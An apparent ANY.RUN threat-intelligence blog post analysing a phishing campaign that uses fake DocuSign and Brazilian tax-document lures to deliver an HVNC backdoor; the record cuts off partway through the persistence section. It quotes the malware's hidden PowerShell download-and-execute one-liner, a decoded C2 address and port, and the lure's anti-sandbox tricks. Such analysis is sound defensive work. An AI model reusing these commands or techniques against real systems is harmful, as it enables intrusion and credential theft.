{"id":22995,"date":"2026-09-08T10:24:30","date_gmt":"2026-09-08T10:24:30","guid":{"rendered":"https:\/\/any.run\/cybersecurity-blog\/?p=22995"},"modified":"2026-09-08T10:32:29","modified_gmt":"2026-09-08T10:32:29","slug":"hvnc-backdoor-targets-latam","status":"publish","type":"post","link":"https:\/\/any.run\/cybersecurity-blog\/hvnc-backdoor-targets-latam\/","title":{"rendered":"HVNC Backdoor Targets LATAM Organizations with Fake Tax and DocuSign Lures"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><em>Editor\u2019s note: The analysis is authored by Moises Cerqueira, malware researcher &amp; threat hunter. You can find Moises on <a href=\"https:\/\/www.linkedin.com\/in\/moises-cerqueira\/\" target=\"_blank\" rel=\"noreferrer noopener\">LinkedIn<\/a> and <a href=\"https:\/\/x.com\/0x_Olympus\" target=\"_blank\" rel=\"noreferrer noopener\">X<\/a>.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Fake tax documents are being used to target organizations across LATAM, delivering a custom HVNC backdoor built for stealthy, persistent access. Once installed, the malware can give attackers hidden remote control, steal browser data, monitor keystrokes, and survive system reboots.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The attack chain combines trusted business lures, anti-analysis techniques, and infrastructure designed to keep access hidden. For security leaders, the risk goes beyond a single compromised endpoint: persistent access can expose credentials, sensitive data, and business systems while giving attackers more time to move deeper into the environment.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">HVNC Campaign Overview<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The campaign uses fake DocuSign notifications, NFe tax documents, and banking-themed phishing to deliver a custom HVNC backdoor. Once installed, it can give attackers hidden remote control and persistent access to compromised systems.<\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-371\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"2\"\n           data-rows=\"5\"\n           data-wpID=\"371\"\n           data-responsive=\"0\"\n           data-has-header=\"0\">\n\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell wpdt-bold\"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Threat type                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Multi-stage phishing campaign; custom HVNC backdoor                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell wpdt-bold\"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Targeting                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Banking and financial services in Latin America                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell wpdt-bold\"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Delivery                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Fake DocuSign and NFe tax-document lures; related ClickFix-style delivery also observed                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell wpdt-bold\"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Objective                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Persistent remote access and control of compromised systems                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell wpdt-bold\"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Attribution                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Unconfirmed; Silver Fox \/ Winos4.0-adjacent tradecraft at medium confidence                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-371'>\ntable#wpdtSimpleTable-371{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-371 td, table.wpdtSimpleTable371 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<h2 class=\"wp-block-heading\">Business Risks Behind the HVNC Campaign<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">For organizations, the danger lies in how much access the malware can provide once a device is compromised. Its capabilities can increase both the scope of exposure and the time attackers remain active in the environment.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Credential and session theft:<\/strong> The malware monitors keystrokes and targets Firefox cookies, browsing history, and permissions, putting account access at risk.<\/li>\n\n\n\n<li><strong>Hidden remote control:<\/strong> HVNC functionality lets attackers interact with the compromised system through a hidden desktop, including screen capture and simulated mouse and keyboard input.<\/li>\n\n\n\n<li><strong>Persistent access:<\/strong> The backdoor establishes Startup-folder persistence, allowing it to remain active after system reboots.<\/li>\n\n\n\n<li><strong>Reduced visibility for defenders:<\/strong> The malware checks for more than 20 AV\/EDR processes and adjusts its behavior when security software is present.<\/li>\n\n\n\n<li><strong>Longer exposure to compromise:<\/strong> Its persistent C2 connection and repeated reconnection attempts are designed to keep the implant available even through network interruptions.<\/li>\n<\/ul>\n\n\n\n<!-- Regular Banner START -->\n<div class=\"regular-banner\">\n<!-- Text Content -->\n<p class=\"regular-banner__text\">\n<span class=\"highlight\">Cut the time attackers have inside your environment.\n<\/span> \n<br>\nReduce exposure before it turns into business loss.\n<\/p>\n<!-- CTA Link -->\n<a class=\"regular-banner__link\" id=\"article-banner-regular\" href=\"https:\/\/any.run\/enterprise\/?utm_medium=article&#038;utm_campaign=hvnc-backdoor-targets-latam&#038;utm_term=080926&#038;utm_content=linktoenterprise#contact-sales\" rel=\"noopener\" target=\"_blank\">\nReduce Business Risk <\/a>\n<\/div>\n<!-- Regular Banner END -->\n<!-- Regular Banner Styles START -->\n\n<style>\n.regular-banner {\ndisplay: flex;\ntext-align: center;\nflex-direction: column;\nalign-items: center;\ngap: 1.5rem;\nwidth: 100%;\npadding: 2rem;\nmargin: 1.5rem 0;\nborder-radius: 0.5rem;\nfont-family: 'Catamaran Bold';\nmargin-inline: auto;\nbackground: rgba(32, 168, 241, 0.1);\nborder: 1px solid rgba(75, 174, 227, 0.32);\n}\n\n.regular-banner__text {\nfont-size: 1.5rem;\nmargin: 0;\n}\n\n.highlight {\ncolor: #ea2526;\n}\n\n.regular-banner__link {\npadding: 0.5rem 1.5rem;\nfont-weight: 500;\ntext-decoration: none;\nborder-radius: 0.5rem;\ncolor: #FFFFFF;\nbackground-color: #1491D4;\ntext-align: center;\ntransition: all 0.2s ease-in;\n}\n\n.regular-banner__link:hover {\nbackground-color: #68CBFF;\ncolor: white;\n}\n<\/style>\n<!-- Regular Banner Styles END -->\n\n\n\n<h2 class=\"wp-block-heading\">Who Is This Campaign Targeting?<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The campaign appears financially motivated, with a clear focus on <strong>banking and financial services in Latin America<\/strong>. <a href=\"https:\/\/any.run\/threat-intelligence-lookup\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=hvnc-backdoor-targets-latam&amp;utm_term=080926&amp;utm_content=linktotilookuplanding\" target=\"_blank\" rel=\"noreferrer noopener\">Threat intelligence analysis <\/a>using ANY.RUN data revealed phishing infrastructure impersonating major banks, alongside fake tax-document lures designed to blend into routine financial and administrative workflows.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"560\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-query-1024x560.png\" alt=\"TI Lookup used to get deeper context into HVNC Backdoor attack\" class=\"wp-image-23030\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-query-1024x560.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-query-300x164.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-query-768x420.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-query-1536x840.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-query-2048x1120.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-query-370x202.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-query-270x148.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-lookup-query-740x405.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>TI Lookup used to get deeper context into HVNC Backdoor attack<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\">Attack Chain Overview<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The campaign follows a <strong>four-stage infection chain<\/strong> that moves from fake DocuSign and NFe tax-document lures to a persistent HVNC backdoor. Each stage uses separate delivery, staging, and C2 infrastructure, making the operation harder to trace and disrupt.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Stage 1 &#8211; Initial Access<\/strong>: a spoofed DocuSign \u201cdocument ready for download\u201d page (and a parallel NFe\/DANFE-themed lure) with anti-sandbox and anti-automation logic, serving a dynamically generated ZIP archive per visitor. <\/li>\n\n\n\n<li><strong>Stage 2 &#8211; Dropper:<\/strong> a Windows .lnk shortcut disguised as a tax-document receipt, whose target is a hidden PowerShell one-liner that downloads and executes a second-stage binary. <\/li>\n\n\n\n<li><strong>Stage 3 &#8211; Loader:<\/strong> an NSIS self-extracting installer bundling the final payload alongside legitimate-looking runtime DLLs (OpenCV, MSVC redistributables) used as cover noise. <\/li>\n\n\n\n<li><strong>Stage 4 &#8211; Payload:<\/strong> a 64-bit backdoor (masquerading as \u201cWindows Update Assistant\u201d \/ Microsoft Corporation in its version metadata, while unsigned) implementing AV\/EDR discovery, a hidden virtual desktop for remote operator control, keystroke monitoring, Firefox cookie\/history\/permission theft, and a browser-redirection command &#8211; all communicating over TCP\/27015 to infrastructure hosted with GHOSTnet GmbH (Frankfurt, DE). <\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">The Lure: A Fake DocuSign Notification With a Personality<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The entry point is a cloned DocuSign \u201cyour document is ready\u201d page. It&#8217;s a convincing fake &#8211; the logo is pulled live from DocuSign&#8217;s own CDN &#8211; but the copy gives it away: the document name reads \u201cDocumento_Contrato_Signado.pdf,\u201d a non-native construction of the Portuguese word for \u201csigned.\u201d A build marker (0a4b2aff1c2ebf8b) sits in the HTML, likely a phishing-kit fingerprint we can use to track this kit elsewhere.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/fake-DocuSign-1024x463.png\" alt=\"The fake DocuSign page clones the real logo from DocuSign's CDN\" class=\"wp-image-23019\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/fake-DocuSign-1024x463.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/fake-DocuSign-300x136.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/fake-DocuSign-768x347.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/fake-DocuSign-1536x695.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/fake-DocuSign-370x167.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/fake-DocuSign-270x122.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/fake-DocuSign-740x335.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/fake-DocuSign.png 1682w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The fake DocuSign page clones the real logo from DocuSign&#8217;s CDN but gives itself away with awkward Portuguese phrasing in the filename.<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Before it hands over anything, the page runs a small anti-bot gauntlet: it checks navigator.webdriver, zero-size browser windows, and known headless-browser artifacts, then waits for two genuine mouse\/scroll\/keyboard events (with a 3.5-second fallback) before arming the download. A silent background request also fingerprints the visitor&#8217;s browser, OS, timezone and screen size and reports it to the server first &#8211; almost certainly used to decide who actually gets a payload.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Once satisfied, the page doesn&#8217;t link to a file &#8211; it POSTs to api.php and gets back a JSON blob containing a base64-encoded ZIP, a SHA-256 hash, and a cheeky bit of social engineering: an alternate .nfe extension \u201cin case the download gets blocked by SmartScreen.\u201d<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"832\" height=\"229\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/backdoor-attack.png\" alt=\"Instead of a direct file link, the server returns the payload base64-encoded inside a JSON response - a simple but effective trick against extension- and URL-based filtering.\" class=\"wp-image-23020\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/backdoor-attack.png 832w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/backdoor-attack-300x83.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/backdoor-attack-768x211.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/backdoor-attack-370x102.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/backdoor-attack-270x74.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/backdoor-attack-740x204.png 740w\" sizes=\"auto, (max-width: 832px) 100vw, 832px\" \/><figcaption class=\"wp-element-caption\"><em>Instead of a direct file link, the server returns the payload base64-encoded inside a JSON response &#8211; a simple but effective trick against extension- and URL-based filtering<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\">From Shortcut to Shellcode: The LNK Dropper<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Inside the ZIP sits a Windows .lnk shortcut disguised as an NFe (Brazilian electronic tax receipt) confirmation, alongside five decoy .txt files with fabricated company data &#8211; generated fresh for every download, using real, recognizable Brazilian company names to boost trust.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The shortcut&#8217;s real target is powershell.exe, run with -WindowStyle Hidden -ExecutionPolicy Bypass, executing a one-liner that downloads a second-stage binary and runs it:<\/p>\n\n\n\n<p class=\"has-background wp-block-paragraph\" style=\"background-color:#eaf6ff\">Invoke-WebRequest -Uri &#8220;http:\/\/&lt;staging-ip>\/dl.php?f=NotaFiscal&#8230;exe<br>&amp;k=nfe_valid_access_key_2026_secure&#8221; `<br>-OutFile &#8220;$env:USERPROFILE\\Desktop\\$env:USERNAME.exe&#8221;; Start-Process $out<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">That k= parameter is a static access token gating the delivery server &#8211; a strong pivot for spotting other samples from the same kit, regardless of which IP is currently hosting it.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"76\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/05-1024x76.png\" alt=\"The shortcut's real payload is a hidden PowerShell downloader - nothing in the shortcut's icon or name hints at this.\" class=\"wp-image-23021\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/05-1024x76.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/05-300x22.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/05-768x57.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/05-1536x114.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/05-370x27.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/05-270x20.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/05-740x55.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/05.png 1900w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The shortcut&#8217;s real payload is a hidden PowerShell downloader &#8211; nothing in the shortcut&#8217;s icon or name hints at this<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The shortcut&#8217;s own metadata turned out to be more useful than expected: Windows silently embeds the builder machine&#8217;s NetBIOS hostname into every .lnk file. Here, that hostname was \u201cservee\u201d &#8211; a detail that becomes very relevant once we get to infrastructure.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">An Installer in Disguise: NSIS and the Weight of Legitimacy<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The downloaded file is an NSIS (Nullsoft Scriptable Install System) self-extracting installer with a 22.9 MB compressed overlay. Unpacked, it drops:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>UpdateAssistant.exe &#8211; the real payload<\/li>\n\n\n\n<li>opencv_world4120.dll (~22 MB) &#8211; a genuine OpenCV library<\/li>\n\n\n\n<li>Four legitimate Microsoft Visual C++ redistributable DLLs<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">None of these DLLs are hijacked or trojanized &#8211; they&#8217;re just real, large, familiar-looking files bundled in to make the folder feel like a normal software installer. The actual malicious logic lives entirely in the one 177 KB executable sitting quietly among them.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"901\" height=\"212\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/real-libraries.png\" alt=\"22 MB of real, unmodified libraries surround an 80 KB malicious executable - bulk as camouflage\" class=\"wp-image-23022\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/real-libraries.png 901w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/real-libraries-300x71.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/real-libraries-768x181.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/real-libraries-370x87.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/real-libraries-270x64.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/real-libraries-740x174.png 740w\" sizes=\"auto, (max-width: 901px) 100vw, 901px\" \/><figcaption class=\"wp-element-caption\"><em>22 MB of real, unmodified libraries surround an 80 KB malicious executable &#8211; bulk as camouflage<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\">Cracking the XOR: Finding the C2 Inside the Binary<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">UpdateAssistant.exe claims to be Microsoft Corporation&#8217;s \u201cWindows Update Assistant\u201d in its version metadata &#8211; while being completely unsigned. Static analysis in Detect It Easy immediately flags the giveaways: UnsignedMicrosoft, repeated XorInLoop patterns, and YARA hits for KeyloggerApi and BrowserStealer.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Reversing the network-setup routine in IDA Pro shows why. The C2 host is stored as 12 raw bytes, XOR-encoded with a single byte (0x37):<\/p>\n\n\n\n<p class=\"has-background wp-block-paragraph\" style=\"background-color:#eaf6ff\">Raw:     02 19 05 04 07 19 05 03 0E 19 03 0E<br>XOR key: 0x37<br>Result:  5.230.249.49<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The destination port is stored in plaintext: 27015 &#8211; the default port for Source-engine games like Counter-Strike. Reusing a gaming port is a small but deliberate choice: it blends the beacon into ordinary consumer traffic on a casual netflow review.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"253\" height=\"504\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/A-single-byte-XOR.png\" alt=\"A single-byte XOR is all that stands between the readable C2 configuration and casual static analysis.\n\" class=\"wp-image-23023\" style=\"width:237px;height:auto\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/A-single-byte-XOR.png 253w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/A-single-byte-XOR-151x300.png 151w\" sizes=\"auto, (max-width: 253px) 100vw, 253px\" \/><figcaption class=\"wp-element-caption\"><em>A single-byte XOR is all that stands between the readable C2 configuration and casual static analysis.<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">A second function decodes a small set of browser names (\u201cchrome,\u201d \u201cfirefox,\u201d \u201cmsedge,\u201d \u201cbrave,\u201d \u201copera\u201d) using a different XOR key (0x13), building commands like cmd.exe \/c start chrome.exe &lt;operator-supplied URL> &#8211; a command the operator can issue to force the victim&#8217;s browser open to any page of their choosing.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">The Malware Introduces Itself: A Live HVNC Handshake<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Static analysis told us the malware could create a hidden desktop (CreateDesktopA, SetThreadDesktop), capture the screen, inject input, and poll the keyboard state &#8211; the textbook ingredients of an HVNC implant. What we didn&#8217;t expect was for the malware to say so, out loud, on the wire.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Detonating a live build in ANY.RUN&#8217;s <a href=\"https:\/\/any.run\/features\/?utm_medium=article&amp;utm_campaign=hvnc-backdoor-targets-latam&amp;utm_term=080926&amp;utm_content=linktosandboxlanding\" target=\"_blank\" rel=\"noreferrer noopener\">Interactive Sandbox<\/a> and opening the raw TCP stream to the C2 in Text view surfaced this handshake, sent in the clear before any operator interaction:<\/p>\n\n\n\n<p class=\"has-background wp-block-paragraph\" style=\"background-color:#eaf6ff\">HVNC-&lt;client id><br>CLIENT_ID:HVNC-&lt;client id><br>COMPUTER:&lt;hostname><br>USER:&lt;username><br>OS:&lt;Windows version><br>VERSION:1.2.0.4.71<br>MODE:FULL<br>DETAILS:[SISTEMA] Arquitetura: x64 (AMD64)<br>[SISTEMA] Processadores: 6<br>[SISTEMA] CPU: AMD Ryzen 5 3500 6-Core Processor<br>[SISTEMA] Mem\u00f3ria Total: 6138 MB<br>[SISTEMA] Mem\u00f3ria Dispon\u00edvel: 4343 MB<br>[SISTEMA] Antiv\u00edrus: N\u00e3o detectado (modo stealth)<br>[SISTEMA] Hostname: &lt;hostname><br>IDENTIFIER_CHANNEL:20<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The banner literally opens with HVNC-. The malware authors named their own protocol, and it checks in with a full victim fingerprint &#8211; CPU model, RAM, architecture, and, tellingly, the result of the antivirus-discovery loop we found in static analysis. That loop isn&#8217;t just for self-throttling; its output is reported straight to the operator&#8217;s panel per victim. After the handshake, the stream switches to a binary frame format consistent with screen-tile data feeding the malware&#8217;s built-in OpenCV pipeline.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"968\" height=\"852\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Network-stream.png\" alt=\"The malware's own check-in banner - captured live via - confirms the HVNC architecture and shows exactly what gets reported to the attacker for every new victim.\" class=\"wp-image-23026\" style=\"aspect-ratio:1.1361667054124311;width:436px;height:auto\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Network-stream.png 968w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Network-stream-300x264.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Network-stream-768x676.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Network-stream-370x326.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Network-stream-270x238.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Network-stream-740x651.png 740w\" sizes=\"auto, (max-width: 968px) 100vw, 968px\" \/><figcaption class=\"wp-element-caption\"><em>The malware&#8217;s own check-in banner &#8211; captured live via &#8211; confirms the HVNC architecture and shows exactly what gets reported to the attacker for every new victim.<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">We also confirmed the port isn&#8217;t fixed: one build hardcoded 27015, while a separately detonated build connected live on 27017. Treat the port as a per-build configuration value, not a protocol constant &#8211; the VERSION:1.2.0.4.71 string is the more durable fingerprint.<\/p>\n\n\n\n<!-- Regular Banner START -->\n<div class=\"regular-banner\">\n<!-- Text Content -->\n<p class=\"regular-banner__text\">\n<span class=\"highlight\">Limit the financial and operational impact of compromise.\n<\/span> \n<br>\nGive your SOC the evidence to act before exposure grows.\n<\/p>\n<!-- CTA Link -->\n<a class=\"regular-banner__link\" id=\"article-banner-regular\" href=\"https:\/\/any.run\/enterprise\/?utm_medium=article&amp;utm_campaign=hvnc-backdoor-targets-latam&amp;utm_term=080926&amp;utm_content=linktoenterprise#contact-sales\" rel=\"noopener\" target=\"_blank\">\nProtect Your Operations<\/a>\n<\/div>\n<!-- Regular Banner END -->\n<!-- Regular Banner Styles START -->\n\n<style>\n.regular-banner {\ndisplay: flex;\ntext-align: center;\nflex-direction: column;\nalign-items: center;\ngap: 1.5rem;\nwidth: 100%;\npadding: 2rem;\nmargin: 1.5rem 0;\nborder-radius: 0.5rem;\nfont-family: 'Catamaran Bold';\nmargin-inline: auto;\nbackground: rgba(32, 168, 241, 0.1);\nborder: 1px solid rgba(75, 174, 227, 0.32);\n}\n\n.regular-banner__text {\nfont-size: 1.5rem;\nmargin: 0;\n}\n\n.highlight {\ncolor: #ea2526;\n}\n\n.regular-banner__link {\npadding: 0.5rem 1.5rem;\nfont-weight: 500;\ntext-decoration: none;\nborder-radius: 0.5rem;\ncolor: #FFFFFF;\nbackground-color: #1491D4;\ntext-align: center;\ntransition: all 0.2s ease-in;\n}\n\n.regular-banner__link:hover {\nbackground-color: #68CBFF;\ncolor: white;\n}\n<\/style>\n<!-- Regular Banner Styles END -->\n\n\n\n<h2 class=\"wp-block-heading\">Sticking Around: Persistence via a Fake Update Helper<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">A follow-up detonation answered the one question static analysis couldn&#8217;t: how does this thing survive a reboot? Watching the process tree in ANY.RUN, UpdateAssistant.exe copies itself &#8211; plus its cover DLLs &#8211; into a second folder under %APPDATA%\\Roaming\\Programs\\Common\\, renaming the executable to AppUpdateHelper.exe, then drops a shortcut into the current user&#8217;s Startup folder pointing at that copy.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"713\" height=\"442\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Classic-Startup-folder-persistence-MITRE-T1547.001.png\" alt=\"Classic Startup-folder persistence (MITRE T1547.001), layered with a self-rename step that matches the malware's mutex-naming convention.\" class=\"wp-image-23027\" style=\"width:605px;height:auto\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Classic-Startup-folder-persistence-MITRE-T1547.001.png 713w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Classic-Startup-folder-persistence-MITRE-T1547.001-300x186.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Classic-Startup-folder-persistence-MITRE-T1547.001-370x229.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Classic-Startup-folder-persistence-MITRE-T1547.001-270x167.png 270w\" sizes=\"auto, (max-width: 713px) 100vw, 713px\" \/><figcaption class=\"wp-element-caption\"><em>Classic Startup-folder persistence (MITRE T1547.001), layered with a self-rename step that matches the 